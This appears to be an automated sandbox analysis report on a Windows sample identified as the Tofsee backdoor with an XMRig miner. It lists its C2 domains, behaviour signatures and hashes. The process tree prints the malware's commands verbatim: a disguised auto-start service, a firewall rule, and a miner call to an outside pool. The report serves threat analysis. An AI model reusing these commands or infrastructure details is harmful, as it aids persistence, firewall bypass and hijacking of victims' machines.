Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    22/12/2022, 00:52

General

  • Target
    file.exe
  • Size 229KB
  • Sample221222-a73cbsdf68
  • SHA256 f42cb747fc7df7ff438b0c97bd7349a1f0fb4a64515f6ea4c657eb5d8d22e832
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1324
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fvjxmpry\
      2⤵
        PID:1068
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tnduxvyh.exe" C:\Windows\SysWOW64\fvjxmpry\
        2⤵
          PID:1972
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fvjxmpry binPath= "C:\Windows\SysWOW64\fvjxmpry\tnduxvyh.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fvjxmpry "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1180
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fvjxmpry
          2⤵
          • Launches sc.exe
          PID:820
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1964
      • C:\Windows\SysWOW64\fvjxmpry\tnduxvyh.exe
        C:\Windows\SysWOW64\fvjxmpry\tnduxvyh.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:632
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1620
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1600

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            tnduxvyh.exe

            • Path C:\Users\Admin\AppData\Local\Temp\tnduxvyh.exe
            • Size 12.7MB
            • SHA256 3780ff0885796168d4443359c017944d83b935175d91d46cf8392718233240cd
            • MD5 SHA1 SHA512 SSDEEP

            tnduxvyh.exe

            • Path C:\Windows\SysWOW64\fvjxmpry\tnduxvyh.exe
            • Size 12.7MB
            • SHA256 3780ff0885796168d4443359c017944d83b935175d91d46cf8392718233240cd
            • MD5 SHA1 SHA512 SSDEEP

            memory/632-77-0x0000000000400000-0x0000000000463000-memory.dmp

            memory/632-67-0x00000000008C8000-0x00000000008D9000-memory.dmp

            memory/632-76-0x00000000008C8000-0x00000000008D9000-memory.dmp

            memory/1324-58-0x00000000003C0000-0x00000000003D3000-memory.dmp

            memory/1324-59-0x0000000000400000-0x0000000000463000-memory.dmp

            memory/1324-68-0x0000000000268000-0x0000000000279000-memory.dmp

            memory/1324-57-0x0000000000268000-0x0000000000279000-memory.dmp

            memory/1324-69-0x0000000000400000-0x0000000000463000-memory.dmp

            memory/1324-54-0x0000000000268000-0x0000000000279000-memory.dmp

            memory/1324-55-0x0000000075AC1000-0x0000000075AC3000-memory.dmp

            memory/1600-102-0x00000000000E0000-0x00000000001D1000-memory.dmp

            memory/1600-100-0x00000000000E0000-0x00000000001D1000-memory.dmp

            memory/1620-72-0x0000000000090000-0x00000000000A5000-memory.dmp

            memory/1620-91-0x0000000000220000-0x0000000000225000-memory.dmp

            memory/1620-80-0x0000000000090000-0x00000000000A5000-memory.dmp

            memory/1620-81-0x0000000000090000-0x00000000000A5000-memory.dmp

            memory/1620-82-0x0000000001890000-0x0000000001A9F000-memory.dmp

            memory/1620-85-0x00000000000B0000-0x00000000000B6000-memory.dmp

            memory/1620-88-0x00000000000C0000-0x00000000000D0000-memory.dmp

            memory/1620-94-0x0000000005800000-0x0000000005C0B000-memory.dmp

            memory/1620-97-0x00000000003B0000-0x00000000003B7000-memory.dmp

            memory/1620-74-0x0000000000090000-0x00000000000A5000-memory.dmp

            memory/1620-109-0x0000000000090000-0x00000000000A5000-memory.dmp